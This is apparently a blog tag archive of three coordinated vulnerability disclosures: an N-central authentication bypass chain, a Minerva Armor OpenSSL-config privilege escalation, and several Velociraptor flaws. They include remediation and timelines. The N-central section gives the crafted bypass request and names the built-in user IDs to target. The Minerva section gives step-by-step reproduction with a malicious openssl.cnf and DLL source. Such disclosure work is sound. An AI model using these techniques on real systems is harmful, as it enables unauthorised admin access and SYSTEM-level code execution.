Tag Archives: Rapid7 Disclosure

CVE-2026-86206, CVE-2026-86207: N-able N-central Authentication Bypass (FIXED)

Post Syndicated from Stephen Fewer original https://www.rapid7.com/blog/post/ve-cve-2026-86206-cve-2026-86207-n-able-n-central-authentication-bypass-fixed

Overview

While conducting research into a recent N-able N-central authentication bypass vulnerability (CVE-2026-18577), Rapid7 Labs discovered two new vulnerabilities affecting the latest version of N-central. When chained together, these two vulnerabilities allow a remote unauthenticated attacker to bypass authentication and create a new attacker-controlled System administrator account on an affected server.

CVE ID

Description

CWE

CVSSv4

CVE-2026-86206

Semicolon/Forwarded access-control bypass

CWE-791

6.9 (Medium)

CVE-2026-86207

UserTwoFactorLogin authentication bypass

CWE-305

7.7 (High)

Both CVE-2026-86206 and CVE-2026-86207 have been patched by the vendor via N-central 2026.3 Hotfix 3.

Product description

N-able N-central is an enterprise-grade Remote Monitoring and Management (RMM) platform designed for Managed Service Providers (MSPs) and IT departments to monitor, manage, and secure complex, large-scale networks from a centralized dashboard.

Credit

These vulnerabilities were discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7, and are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Technical analysis

CVE-2026-86206

N-central exposes its management interface (TCP 8443 by default) through Envoy, an edge proxy. Envoy passes accepted requests to Jetty, the Java web server that hosts N-central’s application. The application gives requests from the loopback address (i.e. 127.0.0.1) more access than requests from a remote system. This design depends on Envoy, Jetty, and the N-central access filter all agreeing on which application path the client requested and whether the client is really local. The following request can make them disagree about both of these things:

POST /dms;/services/ServerUI HTTP/1.1
Forwarded: for="127.0.0.\1"
Content-Type: text/xml; charset=utf-8
SOAPAction: ""

The semicolon in the URI and backslash in the Forwarded value introduce a discrepancy when processing the request that leads to an access control bypass. Looking at Figure 1 below, we can see an overview of how these two values are processed during an incoming malicious request.

nable_cvd_blog.png

Figure 1: Processing a malicious request.

The semicolon gets the request past Envoy

The Envoy proxy rules come from the n-central-proxy-4.5.6-5 package. In /etc/opt/envoy/lds_intermediate.yaml, shown below (and edited for brevity), the management listener returns HTTP 403 for paths beginning with /dms/services or /internal/dms. A final catch-all rule sends other paths to the DMS application.

  # /etc/opt/envoy/lds_intermediate.yaml:953
  - match:
      prefix: /internal/dms
    # response-header boilerplate omitted
    direct_response:
      status: 403
      body:
        inline_string: Forbidden. No API access on the UI port.
  # ...
  - match:
      prefix: /dms/services
    # response-header boilerplate omitted
    direct_response:
      status: 403
      body:
        inline_string: Forbidden. No API access on the UI port.
 # ...
 # /etc/opt/envoy/lds_intermediate.yaml:1301
 # A final catch-all rule...
  - match:
      prefix: /
    route:
      cluster: dms
      timeout:
        seconds: 300

Envoy compares those prefixes with the path it received. The path /dms;/services/ServerUI does not begin with /dms/services, because the next character after /dms is a semicolon. It therefore reaches the catch-all route, passing the request from Envoy to Jetty.

Jetty interprets the path differently. The shipped jetty-http-9.4.56.v20240826.jar contains org.eclipse.jetty.http.HttpURI, and org.eclipse.jetty.util.URIUtil. Together, these classes treat text beginning with a semicolon as a path parameter and remove it when producing the decoded path used for servlet dispatch. As a result, Jetty turns /dms;/services/ServerUI into /dms/services/ServerUI. That decoded path then matches the Axis SOAP servlet mapping in /opt/nable/webapps/ROOT/WEB-INF/web.xml

<!-- /opt/nable/webapps/ROOT/WEB-INF/web.xml -->
<!-- ...snip... -->

   <servlet>
        <servlet-name>DMSServlet</servlet-name>
        <servlet-class>org.apache.axis.transport.http.AxisServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>DMSServlet</servlet-name>
        <url-pattern>/dms/services/*</url-pattern>
        <url-pattern>/internal/dms/services/*</url-pattern>
    </servlet-mapping>

    <servlet>
        <display-name>CXF Servlet</display-name>
        <servlet-name>CXFServlet</servlet-name>
        <servlet-class>org.apache.cxf.transport.servlet.CXFServlet</servlet-class>
        <load-on-startup>2</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>CXFServlet</servlet-name>
        <url-pattern>/dms2/services2/*</url-pattern>
        <url-pattern>/internal/dms/services2/*</url-pattern>
    </servlet-mapping>

Similarly, the same technique can be used to target the SOAP service via /internal;/dms/services2/ServerUI2. Jetty decodes it to /internal/dms/services2/ServerUI2, which matches the CXF SOAP servlet mapping. A single semicolon is sufficient to create the routing disagreement.

Reaching these servlet mappings puts the request at the protected SOAP interfaces that an exploit can leverage to establish an application session and later manage privileged objects, but the semicolon trick alone does not authorize the request. Without the crafted Forwarded header, Jetty retains the client’s real remote address and N-central’s ServletPathFilter denies access. Conversely, the header trick alone cannot help a request to the ordinary /dms/services/ServerUI or /internal/dms/services2/ServerUI2 path: Envoy returns HTTP 403 without forwarding that request to Jetty. 

As such, an exploit needs both discrepancies; the semicolon to pass Envoy’s path check and the header to pass N-central’s local-request check.

The header makes the remote client look local

The Forwarded header tells an application about the original client behind a proxy. In a malicious request, the for value is quoted and contains a quoted-pair (\1):

Forwarded: for="127.0.0.\1"

Under the HTTP quoted-string grammar, the backslash escapes the following character. Jetty’s ForwardedRequestCustomizer, from jetty-server-9.4.56.v20240826.jar, applies that rule. It removes the backslash, reads the value as 127.0.0.1, and exposes that value to N-central as the request’s remote address.

N-central then parses the original header a second time. Its parser is in com.nable.util.LocalHostUtils, from /opt/nable/webapps/ROOT/WEB-INF/lib/dmsservice-11.0.1-SNAPSHOT.jar. This parser removes the surrounding quotes but does not remove the backslash. It therefore checks 127.0.0.\1.

That string is not a valid IP address. LocalHostUtils.xffCheck() rejects an invalid value found in X-Forwarded-For, but its Forwarded branch rejects only values that it successfully recognizes as loopback. The below (abridged) decompilation shows the relevant branch:

// dmsservice-11.0.1-SNAPSHOT.jar
// com.nable.util.LocalHostUtils.xffCheck()

List<String> forwardedAddresses =
    LocalHostUtils.getForAddressesFromForwardedHeaders(httpRequest);

for (String addr : forwardedAddresses) {
    if (!LocalHostUtils.isLoopbackAddress(addr.trim())) continue; // <--- [1]
    // log the rejected loopback address
    return false; // <--- [2]
}
return true; // <--- [3]

When given the header value 127.0.0.\1, the isLoopbackAddress() call (at [1]) returns false (at [2]) because the value is invalid. The loop therefore continues and xffCheck() returns true (at [3]). In other words, an invalid Forwarded header value causes xffCheck to fail open. The final decision occurs in com.nable.server.ServletPathFilter, shown below.

// dmsservice-11.0.1-SNAPSHOT.jar
// com.nable.server.ServletPathFilter.isAllowedRequest()

boolean isAllowedRequest(HttpServletRequest httpRequest) {
    if (!LocalHostUtils.xffCheck(httpRequest)) { // <--- [4]
        return false;
    }
    if (LocalHostUtils.isLocalhost(httpRequest)) { // <--- [5]
        return true; // <--- [6]
    }
    String path = this.removeTrailingSlashes(httpRequest.getRequestURI());
    return this.pathFilterService != null
        && this.pathFilterService.isPathAllowed(path);
}

The first check asks whether a forwarding header is trying to claim a loopback address (at [4]). N-central’s parser sees the invalid value 127.0.0.\1, does not recognize it as loopback, and allows it. The second check asks whether Jetty’s remote address is local (at [5]). Jetty has already converted the same header value to 127.0.0.1, so this check succeeds. The filter returns true (at [6]) before consulting the normal remote-path allowlist.

CVE-2026-86207

By leveraging CVE-2026-86206 to reach the protected URI /dms/services/ServerUI, a SessionID returned by the Session.Hello SOAP operation (See the prior work by Horizon3 on leveraging the legacy SOAP API) can be generated. However, this SessionID is only a pre-login session. It proves that the request reached the local-only SOAP API via the access control bypass, but it does not yet identify an authenticated user. A separate authentication bypass vulnerability, in how legacy two-factor authentication operates, allows a pre-login session to become an authenticated session.

The method com.nable.server.ui.UserTwoFactorLogin, from dmsservice-11.0.1-SNAPSHOT.jar (shown below), binds a requested user ID (e.g. the builtin N-able Administrator account’s well known ID 1) to the session (at [1]) before it attempts legacy two-factor authentication (at [2]) . A normal authentication rejection removes that binding (at [4]), but if an exception occurs, this binding is left in place (at [3]).

// dmsservice-11.0.1-SNAPSHOT.jar
// com.nable.server.ui.UserTwoFactorLogin

   public final String twoFactorLogin(int sessionID, int userID, String password) throws RemoteException {
        String response = null;
        try {
            this.updateSession(sessionID, userID); // <--- [1]
            T_User user = this.getUser(userID);
            response = this.authenticate(user, password); // <--- [2]
            Trace.info((Object)this, (String)("2FA authentication response for user '" + user.getUsername() + "': " + response));
            if (response != null && "ACCESS_OK".equals(response)) {
                String audit = "TWO FACTOR LOGIN SUCCESSFUL: UserID [" + userID + "] successfully logged in.";
                this.addSessionAuditEntry(sessionID, audit);
            } else {
                String audit = "TWO FACTOR LOGIN FAILED: UserID [" + userID + "] attempted to login with invalid PIN.";
                this.addSessionAuditEntry(sessionID, audit);
                this.makeSessionInvalid(sessionID); // <--- [4]
            }
        }
        catch (RemoteException re) {
            throw re; // <--- [3]
        }
        catch (Exception ex) {
            throw DMSError.getFault((String)CommonError.GENERIC_ERROR.getCodeAsString(), (String)ex.toString(), (Throwable)ex); // <--- [3]
        }
        return response;
    }

N-central supports two distinct second-factor systems: legacy, profile-based authentication using an external AuthAnvil or RSA SecurID server, and native time-based one-time password (TOTP) “Two-Step Verification” using an authenticator application. Despite overlapping 2FA/MFA terminology in N-able’s documentation, com.nable.server.ui.UserTwoFactorLogin implements the former profile-based mechanism; it does not enforce the user’s native TOTP setting.

In a default installation, legacy two-factor processing raises an exception for several builtin identities used by N-central, as each of these identities lack a single legacy AuthAnvil or RSA 2FA profile association required by UserTwoFactorLogin. Specifically the following built-in identities can be leveraged via their known ID numbers.

  • User ID 1 (N-able Administrator)

  • User ID 50 (Product Administrator)

  • User ID 51 (N-able Support)

By creating a new pre-login session for any one of the above IDs, a SOAP call to User.TwoFactorLogin with a dummy password will achieve the authentication bypass, converting the pre-login session to a privileged SOAP session for that user. By using additional calls to the ServerUI2 SOAP endpoint, a new attacker-controlled System user account can be created.

Remediation

The vendor-supplied release of N-central 2026.3 Hotfix 3 (version 2026.3.1.13) remediates both CVE-2026-86206 and CVE-2026-86207. All versions of N-central prior to 2026.3.1.13 are vulnerable. Customers running affected on-premise N-central environments are urged to apply the latest update on an urgent basis, outside of normal patching cycles.

Customers using hosted N-central environments do not need to take action as the vendor has applied the needed updates.

For the latest remediation guidance, please see the vendor release notes and the vendor disclosure blog.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to both CVE-2026-86206 and CVE-2026-86207, with authenticated vulnerability checks expected to be available in the September 8 content release. 

Disclosure timeline

  • August 27, 2026: Rapid7 makes initial outreach to N-able who respond the same day.

  • August 28, 2026: Rapid7 provides a detailed technical analysis and exploit script to N-able, along with a proposed timeline for a coordinated disclosure.

  • September 5, 2026: N-able release N-central 2026.3 HF3 which fixes two of the vulnerabilities (CVE-2026-86206, CVE-2026-86207) reported by Rapid7.

  • September 7, 2026: Rapid7 contacts N-able requesting clarity on several issues. N-able responds the same day with requested information.

  • September 8, 2026: This disclosure for CVE-2026-86206 and CVE-2026-86207.

CVE-2024-0394: Rapid7 Minerva Armor Privilege Escalation (FIXED)

Post Syndicated from Dani Kamanovsky original https://blog.rapid7.com/2024/04/03/cve-2024-0394-rapid7-minerva-armor-privilege-escalation-fixed/

CVE-2024-0394: Rapid7 Minerva Armor Privilege Escalation (FIXED)

Rapid7 is disclosing CVE-2024-0394, a privilege escalation vulnerability in Rapid7 Minerva’s Armor product family. Minerva uses the open-source OpenSSL library for cryptographic functions and to support secure communications. The root cause of this vulnerability is Minerva’s implementation of OpenSSL’s OPENSSLDIR parameter, which was set to a path accessible to low-privileged users (such as C:\git\vcpkg\packages\openssl_x86-windows-static-vs2019-static\openssl.cnf). Rapid7 has assessed this vulnerability as having a CVSSv3 score of 7.8.

Impact

Since Minerva Armor operates as a Windows service, this vulnerability enables any authenticated user to elevate privileges and execute arbitrary code with SYSTEM privileges. A low-privileged attacker can create an openssl.cnf configuration file to load a malicious OpenSSL engine library, resulting in arbitrary code execution as SYSTEM when the service starts.

Credit

Rapid7 would like to thank Will Dormann of Vul Labs for disclosing this vulnerability to us in accordance with Rapid7’s vulnerability disclosure policy. We are grateful to Will and the security research community for their work to make software and systems safer for everyone.

Product Description

Minerva Armor technology is a core endpoint security component (Windows only) aimed at preventing evasive malware, ransomware, and advanced cyber attacks. Armor is operated and trusted by SMBs and enterprise organizations around the world across a diversity of sectors and verticals.

Minerva Armor technology was developed by Minerva Labs, which was acquired by Rapid7 in March 2023. Armor is part of a product family that includes Minerva Armor and Rapid7 next-generation antivirus (NGAV). Armor was previously used as an OEM component in Intego AV. Note: The Insight agent is not vulnerable to this issue.

Exploitation

During the Armor 32-bit service startup (MVArmorService32.exe), Armor loads the OpenSSL library. OpenSSL is a library that provides a variety of cryptographic functions. This library has an internal directory tree that is used to locate the configuration file; this directory is called OPENSSLDIR. Inside OPENSSLDIR resides the configuration file openssl.cnf. This is where the privilege escalation opportunity begins.

When the application is dependent on the OpenSSL library, it is necessary to indicate the full path to OPENSSLDIR at compile-time, but at run-time, this path is not necessary. Therefore, it is possible to discover the full path using reverse engineering techniques and tools, such as strings, ProcMon, and others.

If an attacker can place the openssl.cnf file and specify a malicious library for loading, the attacker’s code is executed instead. The root cause of this vulnerability lies in the OpenSSL library’s configuration in Minerva, where the OPENSSLDIR parameter was set to a path accessible to low-privileged users, such as C:\git\vcpkg\packages\openssl_x86-windows-static-vs2019-static\openssl.cnf. Since Armor operates as a Windows service, this vulnerability enables any authenticated user to elevate privileges and execute arbitrary code with SYSTEM privileges. A low-privileged user can create the openssl.cnf configuration file mentioned above to load a malicious OpenSSL engine library, resulting in arbitrary code execution as SYSTEM when the service starts.

Below is a ProcMon capture of the Armor service looking for the openssl.cnf file:

CVE-2024-0394: Rapid7 Minerva Armor Privilege Escalation (FIXED)

Steps To Reproduce

All steps are executed as a low-privileged authenticated user:

  1. Create a “C:\git\vcpkg\packages\openssl_x86-windows-static-vs2019-static” directory:
    mkdir “C:\git\vcpkg\packages\openssl_x86-windows-static-vs2019-static”
  2. Create an .cnf file with the following contents:
openssl_conf = openssl_init
[openssl_init]
engines = engine_section
[engine_section]
woot = woot_section
[woot_section]
engine_id = woot
dynamic_path = c:\\danik\\calc.dll
init = 0
  1. Create the c:\danik folder:
    mkdir “C:\danik”
  2. Compile and link a malicious “OpenSSL library” — the code below will run Windows calculator:
#include <windows.h>
BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpReserved )
{
    switch( fdwReason )
    {
        case DLL_PROCESS_ATTACH:
            system("calc");
            break;
        case DLL_THREAD_ATTACH:
         // Do thread-specific initialization.
            break;
        case DLL_THREAD_DETACH:
         // Do thread-specific cleanup.
            break;
        case DLL_PROCESS_DETACH:
         // Perform any necessary cleanup.
            break;
    }
    return TRUE;  // Successful DLL_PROCESS_ATTACH.
}
  1. Copy calc.dll from above to the “C:\danik” directory.
  2. Restart the Armor service or the whole machine.

Remediation

To remediate CVE-2024-0394, Minerva customers should update the latest release:

Customers Remediated version
Minerva customers Armor version 4.5.5
Minerva Armor OEM customers Armor OEM version 4.5.5

Disclosure Timeline

January 8, 2024: Issue reported to Rapid7 by Will Dormann of Vul Labs
January 9, 2024: Rapid7 acknowledges report
January 11, 2024: Rapid7 reproduces issue, confirms vulnerability
January – February 2024: Rapid7 engineering team develops and tests fix, requests information from partner on potentially vulnerable implementation; partner confirms they are no longer offering vulnerable implementation.
March 12, 2024: Rapid7 contacts reporter to ask whether our fix timeline had been previously communicated
March 19, 2024: Rapid7 assigns CVE, updates reporter on fix readiness, confirms affected/fixed versions. Rapid7 and reporter agree on April 3, 2024 as a coordinated disclosure date.
April 3, 2024: This disclosure; fix released.

CVE-2022-35629..35632 Velociraptor Multiple Vulnerabilities (FIXED)

Post Syndicated from Mike Cohen original https://blog.rapid7.com/2022/07/26/cve-2022-35629-35632-velociraptor-multiple-vulnerabilities-fixed/

CVE-2022-35629..35632 Velociraptor Multiple Vulnerabilities (FIXED)

This advisory covers a number of issues identified in Velociraptor and disclosed by a security code review performed by Tim Goddard from CyberCX. We also thank Rhys Jenkins for working with the Velociraptor team to identify and rectify these issues. All of these identified issues have been fixed as of Version 0.6.5-2, released July 26, 2022.

CVE-2022-35629: Velociraptor client ID spoofing

Velociraptor uses client IDs to identify each client uniquely. The client IDs are derived from the client’s own cryptographic key and so usually require this key to be compromised in order to spoof another client.

Due to a bug in the handling of the communication between the client and server, it was possible for one client, already registered with their own client ID, to send messages to the server claiming to come from another client ID. This may allow a malicious client to attribute messages to another victim client ID (for example, claiming the other client contained some indicator or other data).

The impact of this issue is low because a successful exploitation would require:

  1. The malicious client to identify a specific host’s client ID – since client IDs are random, it is unlikely that an attacker could guess a valid client ID. Client IDs are also not present in network communications, so without access to the Velociraptor server, or indeed the host’s Velociraptor client writeback file, it is difficult to discover the client ID.
  2. Each collection of new artifacts from the client contains a unique random “flow ID.” In order to insert new data into a valid collection, the malicious client will need to guess the flow ID for a valid current flow. Therefore, this issue is most likely to affect client event monitoring feeds, which do not contain random flow IDs.

CVE-2022-35630: Unsafe HTML injection in artifact collection report

Velociraptor allows the user to export a “collection report” in HTML. This is a standalone HTML file containing a summary of the collection. The server will generate the HTML file, and the user’s browser will download it. Users then open the HTML file from their local disk.

A cross-site scripting (XSS) issue in generating this report made it possible for malicious clients to inject JavaScript code into the static HTML file.

The impact of this issue is considered low because the file is served locally (i.e. from a file:// URL) and so does not have access to server cookies or other information (although it may facilitate phishing attacks). This feature is also not used very often.

CVE-2022-35631: Filesystem race on temporary files

The Velociraptor client uses a local buffer file to store data it is unable to deliver to the server quickly enough. Although the file is created with restricted permissions, the filename is predictable (and stored in the client’s configuration file).

On MacOS and Linux, it may be possible to perform a symlink attack by replacing this predictable file name with a symlink to another file and have the Velociraptor client overwrite the other file.

This issue can be mitigated by using an in-memory buffer mechanism instead, or specifying that the buffer file should be created in a directory only writable by root. Set the Client.local_buffer.filename_linux to an empty string, or a directory only writable by root.

By default, on Windows, the buffer file is stored in C:\Program Files\Velociraptor\Tools, which is created with restricted permissions only writable by Administrators. Therefore, Windows clients in the default configuration are not affected by this issue.

CVE-2022-35632: XSS in user interface

The Velociraptor GUI contains an editor suggestion feature that can be used to offer help on various functions. It can also display the description field of a VQL function, plugin or artifact. This field was not properly sanitized and can lead to cross-site scripting (XSS).

Prior to the 0.6.5 release, the artifact description was also sent to this function, but after 0.6.5, this is no longer the case for performance reasons.

On servers older than 0.6.5, an authenticated attacker with the ARTIFACT_WRITER permission (usually only given to administrators) could create an artifact with raw HTML in the description field and trigger this XSS. Servers with version 0.6.5 or newer are not affected by this issue.

Remediation

To remediate these vulnerabilities, Velociraptor users should upgrade their servers.

Disclosure timeline

July, 2022: Issues discovered by Tim Goddard from CyberCX

July 11, 2022: Vulnerabilities disclosed by CyberCX

July 12, 2022: Validated by Rapid7/Velocidex

July 26, 2022: Fixes released in version 0.6.5-2

July 26, 2022: Rapid7 publishes this advisory

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.